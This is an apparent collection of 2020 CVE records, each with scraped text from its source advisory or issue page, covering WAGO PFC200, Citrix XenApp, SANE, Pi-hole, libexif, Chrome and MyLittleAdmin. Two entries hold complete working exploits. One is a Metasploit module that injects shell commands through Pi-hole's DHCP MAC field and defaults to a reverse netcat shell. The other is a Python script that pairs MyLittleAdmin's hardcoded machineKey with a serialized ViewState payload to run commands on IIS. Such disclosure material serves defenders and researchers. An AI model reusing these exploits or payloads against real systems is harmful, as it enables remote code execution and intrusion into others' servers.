An exploitable code execution vulnerability exists in the Web-Based Management (WBM) functionality of WAGO PFC 200 03.03.10(15). A specially crafted series of HTTP requests can cause code execution resulting in remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**Summary**

An exploitable code execution vulnerability exists in the Web-Based Management (WBM) functionality of WAGO PFC 200 03.03.10(15). A specially crafted series of HTTP requests can cause code execution resulting in remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**Tested Versions**

WAGO PFC 200 03.03.10(15)

**Product URLs**

https://www.wago.com/us/pfc200

**CVSSv3 Score**

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-269 - Improper Privilege Management

**Details**

WAGO is a manufacturer of programmable automation controllers that are used in many industries including automotive, rail, power engineering, manufacturing, and building management.

The WBM (Web-Based Management) application provides configuration and customization to the user. WAGO documentation states that the web users are isolated from the Linux system users on the device,

The PFC 200 750-8206 user manual draws a clear distinction between the WBM and the Linux system users. Section 4.1.2.1.2 WBM User Group states:

    WBM has its own user administration system. The users in this system are isolated from the other user groups in the system for security reasons.
    

This vulnerability allows an attacker to gain root privileges on the device from the WBM admin user.

The software upload functionality of WBM allows the web-admin user to upload a software package and activate the software in the opkg .ipk format. The file structure of an .ipk file is relatively simple, and provides no integrity checks such as code signing for the software contained in the package. Below describes the contents of an .ipk file:

    |-- control
    |   |-- control
    |   |-- postinst
    |   |-- preinst
    |   |-- prerm
    |-- data
    |   |-- usr
    |   |   -- bin
    |   |       -- example_binary
    |   -- lib
    |       -- systemd
    |           -- system
    |               -- example_package.service
    |-- debian-binary
    

When the user activates the software package, that executes a shell script on the device called activate_download. The code excerpt below shows on line 097 and 109 that the package install/activate utility opkg is executed with root permissions:

    095:       update-script )     if [ "install" = $action ]; then
    096:                             #echo "activate" $path$filename "for update-script"      
    097:                             sudo /usr/bin/opkg install "$path$filename" > /dev/null 2> /dev/null
    098:                             
    099:                             if [ $? != $SUCCESS ]; then
    100: 
    101:                               status=$SHELL_ERROR
    102:                               ReportError $status "(/usr/bin/opkg install $path$filename)"
    103:                               SetLastError "Error while execution"
    104:                             fi
    105:                           fi
    106:               #force overwrite
    107:         if [ "force" = $action ]; then
    108:                             #echo "force-overwrite" $path$filename "for update-script"
    109:                             sudo /usr/bin/opkg install --force-overwrite --force-reinstall --force-downgrade "$path$filename" > /dev/null 2> /dev/null
    

Since the opkg utility is executed with root permissions, any of the scripts within the control portion of the package are also executed with root permissions. Additionally, the attacker can force the activation which means that the installed package can overwrite data from other packages. Forcing the activation gives an attacker the ability to overwrite system services with attacker controlled code.

**Timeline**

2020-02-11 - Vendor Disclosure  
2020-02-12 - Vendor acknowledged  
2020-05-06 - Talos follow up with vendor  
2020-05-07 - Vendor requested disclosure extension; Talos granted extension  
2020-06-10 - Public Release

Discovered through discussions between WAGO and Cisco Talos.

CVE-2020-6090: TALOS-2020-1010 || Cisco Talos Intelligence Group

** UNSUPPORTED WHEN ASSIGNED ** Citrix XenApp 6.5, when 2FA is enabled, allows a remote unauthenticated attacker to ascertain whether a user exists on the server, because the 2FA error page only occurs after a valid username is entered. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Vulnerability Name: User Enumeration in Citrix XenApp 6.5

Registered: CVE-2020-13998

Discoverers:

Scott Goodwin, OSCP

Jill Kamperides

OCD Tech

https://ocd-tech.com

Vendor of Product:

Citrix

Affected Product Code Base:

XenApp - Version 6.5

Attack Type:

Remote

Vulnerability Type:

User Enumeration

Vulnerability Impact:

Information Disclosure

Attack Vector:

To exploit this vulnerability, an attacker can use brute force methods

to determine whether or not a list of users exists on the affected

server by monitoring the HTTP responses returned by the server; the

HTTP responses differ substantially between valid and invalid users.

Description:

\*\* VERSION NOT SUPPORTED WHEN ASSIGNED \*\* Citrix XenApp 6.5, when 2FA

is enabled, allows a remote unauthenticated attacker to ascertain

whether a user exists on the server, because the 2FA error page only

occurs after a valid username is entered.

Additional Information:

Two-factor authentication must be enabled in Citrix XenApp 6.5 for

this vulnerability to be exploited. When a valid user is entered into

the login page (with an invalid password), the server returns a

two-factor authentication error page. When a nonexistent user is entered,

the page does not change. Users on the server can be enumerated with

complete confidence by monitoring which users trigger the two-factor

authentication error page, and which do not.

This vulnerability was disclosed to Citrix on 04/30/2020. Citrix

responded that XenApp version 6.5 has reached its End of Life (EOL)

and will not be receiving a patch. Users are recommended to upgrade

to resolve this vulnerability.

Reporting Timeline:

04/30/2020: Vulnerability was reported to Citrix

05/22/2020: Citrix deems XenApp 6.5 End of Life

06/09/2020: Vulnerability registered

06/10/2020: Public disclosure

Reference:

https://ocd-tech.com

CVE-2020-13998: CVE-2020-13998.txt

A NULL pointer dereference in sanei_epson_net_read in SANE Backends before 1.0.30 allows a malicious device connected to the same local network as the victim to cause a denial of service, aka GHSL-2020-075.

CVE-2020-12867: memory corruption bugs in libsane (#279) · Issues · sane-project / backends · GitLab

Pi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Pi-Hole DHCP MAC OS Command Execution',        'Description' => %q{          This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.        },        'License' => MSF_LICENSE,        'Author' =>          [            'h00die', # msf module            'nateksec' # original PoC, discovery          ],        'References' =>          [            ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],            ['CVE', '2020-8816']          ],        'Platform' => ['unix'],        'Privileged' => false,        'Arch' => ARCH_CMD,        'Targets' =>          [            [ 'Automatic Target', {}]          ],        'DisclosureDate' => 'Mar 28 2020',        'DefaultTarget' => 0,        'DefaultOptions' => {          'PAYLOAD' => 'cmd/unix/reverse_netcat'        },        'Payload' => {          'BadChars' => "\x00"        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options(      [        Opt::RPORT(80),        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])      ]    )  end  def check    begin      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),        'method' => 'GET'      )      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?      fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200      # vDev (HEAD, v4.3-0-g44aff72)      # v4.3      %r{<b>Web Interface Version\s*</b>\s*(vDev $HEAD, )?v?(?<version>[\d\.]+)$?.*<b>}m =~ res.body      if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')        vprint_good("Version Detected: #{version}")        return CheckCode::Appears      else        vprint_bad("Version Detected: #{version}")        return CheckCode::Safe      end    rescue ::Rex::ConnectionError      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")    end    CheckCode::Safe  end  def login(cookie)    vprint_status('Login required, attempting login.')    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),      'cookie' => cookie,      'vars_get' => {        'tab' => 'piholedhcp'      },      'vars_post' => {        'pw' => datastore['PASSWORD']      },      'method' => 'POST'    )  end  def add_static(payload, cookie, token)    # we don't use vars_post due to the need to have duplicate fields    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),      'ctype' => 'application/x-www-form-urlencoded',      'cookie' => cookie,      'method' => 'POST',      'vars_get' => {        'tab' => 'piholedhcp'      },      'data' => [        'AddMAC=',        'AddIP=',        'AddHostname=',        "AddMAC=#{URI.encode_www_form_component(payload)}",        "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s        "AddHostname=#{rand_text_alphanumeric(8..12)}",        'addstatic=',        'field=DHCP',        "token=#{URI.encode_www_form_component(token)}"      ].join('&')    )  end  def exploit    if check != CheckCode::Appears      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')    end    begin      @macs = []      # get cookie      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')      )      cookie = res.get_cookies      print_status("Using cookie: #{cookie}")      # get token      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),        'cookie' => cookie,        'vars_get' => {          'tab' => 'piholedhcp'        }      )      # check if we got hit by a login prompt      if res && res.body.include?('Sign in to start your session')        res = login(cookie)      end      if res && res.body.include?('Sign in to start your session')        fail_with(Failure::BadConfig, 'Incorrect Password')      end      # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">      # may also include /      %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body      unless token        fail_with(Failure::UnexpectedReply, 'Unable to find token')      end      print_status("Using token: #{token}")      # from the excellent writeup about the vuln:      # The biggest difficulty in exploiting this vulnerability is that the user input is      # capitalized through a call to "strtoupper". Because of this, no lower case character      # can be used in the resulting injection.      # we'd like to execute something similar to this:      # aaaaaaaaaaaa&&php -r 'PAYLOAD'      # however, we need to pull p, h, and r from the system due to all input getting capitalized      # this is performed by pulling them from the $PATH which should be something like      # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin      # first payload we send is to check that this is in the path to verify exploitation is possible      mac = rand_text_hex(12).upcase      @macs << mac      vprint_status("Validating path with MAC: #{mac}")      res = add_static("#{mac}$PATH", cookie, token)      # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~      env = res.body.match(/value="#{mac}(?<env>.*)">/)      if env && env[:env].starts_with?('/opt/pihole')        print_good("System env path exploitable: #{env[:env]}")      else        msg = '/opt/pihole not in path. Exploitation not possible.'        if env          msg += " Path: #{env[:env]}"        end        fail_with(Failure::UnexpectedReply, msg)      end      # once we have php -r, we then need to pass a payload.  So we do this via php command      # exec on hex2bin since our payload in hex caps will still get processed and executed.      mac = rand_text_hex(12).upcase      @macs << mac      print_status("Payload MAC will be: #{mac}")      shellcode = "#{mac}&&" # mac address, arbitrary      shellcode << 'W=${PATH#/???/}&&'      shellcode << 'P=${W%%?????:*}&&'      shellcode << 'X=${PATH#/???/??}&&'      shellcode << 'H=${X%%???:*}&&'      shellcode << 'Z=${PATH#*:/??}&&'      shellcode << 'R=${Z%%/*}&&$'      shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(      shellcode << '"'      shellcode << payload.encoded.unpack('H*').join('') # hex encode payload      shellcode << '"));'      shellcode << "'&&"      vprint_status("Shellcode: #{shellcode}")      print_status('Sending Exploit')      add_static(shellcode, cookie, token)      # we don't use vars_post due to the need to have duplicate fields      ip = '192.168'      2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes      send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),        'ctype' => 'application/x-www-form-urlencoded',        'cookie' => cookie,        'method' => 'POST',        'vars_get' => {          'tab' => 'piholedhcp'        },        'data' => [          'AddMAC=',          'AddIP=',          'AddHostname=',          "AddMAC=#{URI.encode_www_form_component(shellcode)}",          "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s          "AddHostname=#{rand_text_alphanumeric(3..8)}",          'addstatic=',          'field=DHCP',          "token=#{URI.encode_www_form_component(token)}"        ].join('&')      )    # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf    rescue ::Rex::ConnectionError      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")    end  end  def on_new_session(session)    super    @macs.each do |mac|      print_status("Attempting to clean #{mac} from config")      session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")    end  endend

CVE-2020-8816: Pi-Hole 4.3.2 DHCP MAC OS Command Execution ≈ Packet Storm

An exploitable vulnerability exists in the configuration-loading functionality of the jw.util package before 2.3 for Python. When loading a configuration with FromString or FromStream with YAML, one can execute arbitrary Python code, resulting in OS command execution, because safe_load is not used.

CVE-2020-13388: Joel

An issue was discovered in libexif before 0.6.22. Use of uninitialized memory in EXIF Makernote handling could lead to crashes and potential use-after-free conditions.

Permalink

Browse files

Ensure the MakerNote data pointers are initialized with NULL.

This ensures that an uninitialized pointer isn't dereferenced later in
the case where the number of components (and therefore size) is 0.

This fixes the second issue reported at
https://sourceforge.net/p/libexif/bugs/125/

CVE-2020-13113

*   Loading branch information

Showing with **4 additions** and **0 deletions**.

1.  +1 −0 libexif/canon/exif-mnote-data-canon.c
2.  +1 −0 libexif/fuji/exif-mnote-data-fuji.c
3.  +1 −0 libexif/olympus/exif-mnote-data-olympus.c
4.  +1 −0 libexif/pentax/exif-mnote-data-pentax.c

CVE-2020-13113: Ensure the MakerNote data pointers are initialized with NULL. · libexif/libexif@ec412aa

Type confusion in Blink in Google Chrome prior to 81.0.4044.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

About Monorail User Guide Release Notes Feedback on Monorail Terms Privacy

CVE-2020-6464: 1071059 - chromium - An open-source project to help move the web forward.

Inappropriate implementation in installer in Google Chrome on OS X prior to 83.0.4103.61 allowed a local attacker to perform privilege escalation via a crafted file.

CVE-2020-6477: 946156 - chromium - An open-source project to help move the web forward.

Use after free in ANGLE in Google Chrome prior to 81.0.4044.122 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

CVE-2020-6463: 1065186 - chromium - An open-source project to help move the web forward.

The management tool in MyLittleAdmin 3.8 allows remote attackers to execute arbitrary code because machineKey is hardcoded (the same for all customers' installations) in web.config, and can be used to send serialized ASP code.

**TL;DR**

Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 

**Vulnerability Summary**

MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.

**CVE**

CVE-2020-13166

**Credit**

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

**Affected Systems**

MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.

**Vendor Response**

Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.

**Workaround**

The following workaround was provided to us by Tim Aplin from @Umbrellar:

Go into IIS > Machine Keys > Generate new Key > Apply
Run: IISreset

**Vulnerability Details**

MyLittleAdmin utilizes a hardcoded _machineKey_ for all installations, this value is kept in the file: _C:\\Program Files (x86)\\MyLittleAdmin\\web.config_

An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.

**Vulnerable Key**

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to _ysoserial.exe_ it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2
C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33
E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

**Demo**

![](https://ssd-disclosure.com/wp-content/uploads/2020/05/mylittleadmin-2-2.gif)

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

**Exploit**

The provided exploit code will connect to a remote server and send a payload that starts a _calc.exe_ in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http\_client
except ImportError:
    # Python 2
    import httplib as http\_client

http\_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests\_log = logging.getLogger("requests.packages.urllib3")
requests\_log.setLevel(logging.DEBUG)
requests\_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

\_\_VIEWSTATEGENERATOR = ""
\_\_EVENTVALIDATION = ""
ServerName = ""

for input in soup.find\_all('input'):
  if input\['id'\] == '\_\_VIEWSTATEGENERATOR':
    \_\_VIEWSTATEGENERATOR = input\['value'\]
  if input\['id'\] == '\_\_EVENTVALIDATION':
    \_\_EVENTVALIDATION = input\['value'\]
  if input\['name'\] == 'fServerName$cControl':
    ServerName = input\['value'\]

# print("\_\_VIEWSTATEGENERATOR: {}\\n\_\_EVENTVALIDATION: {}\\nServerName: {}".format(\_\_VIEWSTATEGENERATOR, \_\_EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '\_\_VIEWSTATE' : shellcode,
  '\_\_VIEWSTATEGENERATOR' : \_\_VIEWSTATEGENERATOR,
  '\_\_EVENTVALIDATION' : \_\_EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))

Tag

#rce